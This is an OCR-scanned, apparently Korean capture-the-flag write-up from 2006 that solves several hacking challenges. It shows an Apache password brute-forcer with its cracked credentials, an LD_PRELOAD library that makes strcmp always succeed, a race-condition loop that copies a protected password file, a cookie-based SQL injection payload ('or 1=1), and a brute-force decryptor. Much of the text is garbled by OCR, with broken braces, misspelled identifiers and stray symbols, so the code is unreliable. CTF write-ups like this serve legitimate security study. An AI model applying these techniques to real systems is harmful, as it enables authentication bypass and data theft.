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BruteForce Program: http://hkpco.joinc.co.kr/apachebrute.c

Base64_function Header: http://hkpco.joinc.co.kr/base64.h
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[hkpco@ns public_html]$ gcc -o apachebrute apachebrute.c
[hkpco@ns public_html]$ ./apachebrute

Request Success!

i T e o b b b o b o SR S SR N A A
ID: body , Password: sexy

i T e o b b b o b o SR S SR N A A
HTTP/1.1 200 OK

Date: Sun, 12 Feb 2006 21:14:20 GMT

Server: Apache/2.2.0 (Unix) PHP/4.4.1
X-Powered-By: PHP/4.4.1

Content-Length: 109

Content-Type: text/html

<HTML>



<BODY>

<center>

Congraturations! <br><br>

Password is "YoSoSeXySeXy!"

</center>

</BODY>

</HTML>

0//EN">

<html><head>

<title>401 Authorization Required</title>
</head><body>

<h1>Authorization Required</h1>
<p>This server could not verify that you
are authorized to access the document
requested. Either you supplied the wrong
credentials (e.g., bad password), or your
browser doesn't understand how to supply
the credentials required.</p>

</body></html>
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id © flag
password @ flagthewind

hintl : race condition , Ahome/flag/.passwardfile
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271921: flag

flag@141.223.175.220 2] WU % flagthewind

Last login: Mon Feb 6 01:09:37 2006 from 211.200.19.124
A 1 7]EF A4 /tmp "ot} s AL

[flag@rh73 flagl$ 1s

prob

[flag@rh73 flagl$ cd prob/

[flag@rh73 prob]$ s

ctf_sf
[flag@rh73 prob]$ Is -1 ctf_sf
TWX—X—X 2 root root 13677 2¥ 4 10:16 ctf_sf

LD_PRELOADE ©] &34 Readdgto] Sl AL 54 £ Hijack

[flag@rh73 .ronny]$ cat lib.c
#include <dlfcn.h>
int strecmp(const char *sl, const char *s2)
{
return 0;
¥
[flag@rh73 .ronny]$ gcc -fPIC lib.c -shared -o lib.so
[flag@rh73 .ronnyl$ Is

a.out ctf_sf lib.c lib.so




& flag@rh 73: /tmp/.ronny
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Who is He????
[flag@rh73 .ronny]$ cat test.c

#include <stdio.h>

int main()
{
int i;
for (i=0; 1<9999;i++){
system("cp /home/flag/prob/.passwordfile .");
)
return 0;

}
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http://168.1858.130. 239/madcow/

hint! : sql injection
hint? : Cookie

hint3 : Cookie spoofings %Ef sql injection YL|C}.
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Microsoft Internet Explorer

r_num< 34 12342 AA, ronickS “U7} = Hyrgk
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GET /madcow/list.php HTTP/1.1

Accept: image/gif, image/xxbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash,
application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*

Referer: http://168.188.130.239/madcow/index.php

Accept-Language: ko

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; (R1 1.5); .NET CLR 1.0.3705)

Host: 168.188.130.239

Connection: Keep-Alive

Cookie: r_num="'or 1=1-; r_nick=1;
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your information :

o] & : levelpass
¥ ™ TooQooP0oo0101

Secret Code : 1234
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Enc.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include "dumpcode.h"

int main (int argc, char *argv[]) {

char *enc_passwd, *data=argv[1];

int len, cur, remainder;

if(arge!=2)4
printf("<Usage> : %s string\n",argv[0]);
return 1;



len=strlen(data);

cur=len-1;

enc_passwd = (char *)malloc(len+1);
memset((void *)enc_passwd,0x00, len+1);

for( ; cur>=0; cur—) {
remainder = datalcur] % len;
while(enc_passwd[remainder]!=0x00) {
printf("%d\n",cur);
remainder=(remainder+1) % len;

enc_passwd[remainder] = datalcur] © remainder;
dumpcode (enc_passwd,len+1);

printf("%s",enc_passwd);

free(enc_passwd);

return 0;
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Dec.c

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include "dumpcode.h"



char *encrypt(char *string) { // 43538} &<, returngt free L&

char *enc_passwd, *data=string;

int len, cur, remainder;

len=strlen(data);

enc_passwd = (char *)malloc(len+ 1);

memset((void *)enc_passwd,0x00, len+ 1);

for(cur=len-1; cur>=0; cur—) {
remainder = datalcur] % len;
while(enc_passwd[remainder]!'=0x00) {

remainder=(remainder+ 1) % len;

enc_passwd[remainder] = datalcur] * remainder;

return enc_passwd;

int main(int argc, char *argv|[]) {

char *enc_string=argv/[1];
char *dec_string;
int cur, nst; // nst = nHA| F2} 9| 2L

Aol

e

char ch, *enc_data; // enc_data = dec_string &5 3} 3+
if(argc!=2) {

printf("<Usage> : %s <encrypt password>Wn",argv[0]);

return 1;

dec_string=malloc(strlen(argv[1]));



memset(dec_string, 0x20, strlen(argv[1]));

dec_string| strlen(argv[1])-1 ] = 0x00;

printf("enc_string length is %dWn", strlen(enc_string));

for(cur=strlen(enc_string)-1;cur>=0;cur—) {
nst=strlen(enc_string)-cur;
for(ch=0x20;ch<=0x7e;ch++) {
dec_string[cur]=ch;
enc_data=encrypt(dec_string);
#ifdef DEBUG
printf("Wnpassword is [%s]%Wn",enc_data);
printf("data  is [%s]Wn",dec_string);
printf("nst is %dWn", nst);
#endif

if(strncmp(enc_data,enc_string,nst)==0) {
printf("%dst character is '%c'Wn", nst, ch);
free(enc_data);
break;
}

free(enc_data);

}
printf("encrypt string is [%s]Wn", dec_string);

return O;
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Cli.c

#include <stdio.h>

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h> /* close */

#include <string.h>

#define SERVER_PORT 7979

int sockfd;

void error(char *string)

{

fprintf(stderr,"%s error \n",string);
close(sockfd);
exit(1);



int main(int argc, char *argv[])

{
int cc; // connect checker
struct sockaddr_in con_sock;
char str[256];
char segment[100];

sockfd=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

if(sockfd<0)
{

fprintf(stderr,"socket() error \n");

exit(1);

con_sock.sin_addr.s_addr = inet_addr("168.188.130.240");
con_sock.sin_family = AF_INET;
con_sock.sin_port = htons(SERVER_PORT);

cc=connect(sockfd ,(struct sockaddr *)&con_sock, sizeof(con_sock));

if(cc < 0)

error("socket()");

cc=send(sockfd, "ARE YOU LIVING IN THE REAL WORLD?", strlen("ARE YOU LIVING IN THE
REAL WORLD?"), 0);

if(cc<0)
error("send()");

cc=send(sockfd, argv[1], strlen(argv[1]), 0);



cc=recv(sockfd,str,255,0);
printf("%s",str);

return 0;

Jcli Jreal_data.txt

You've got a real word.

Congraturations!!!

The P4sswOrd is "Unlimited Rules!"
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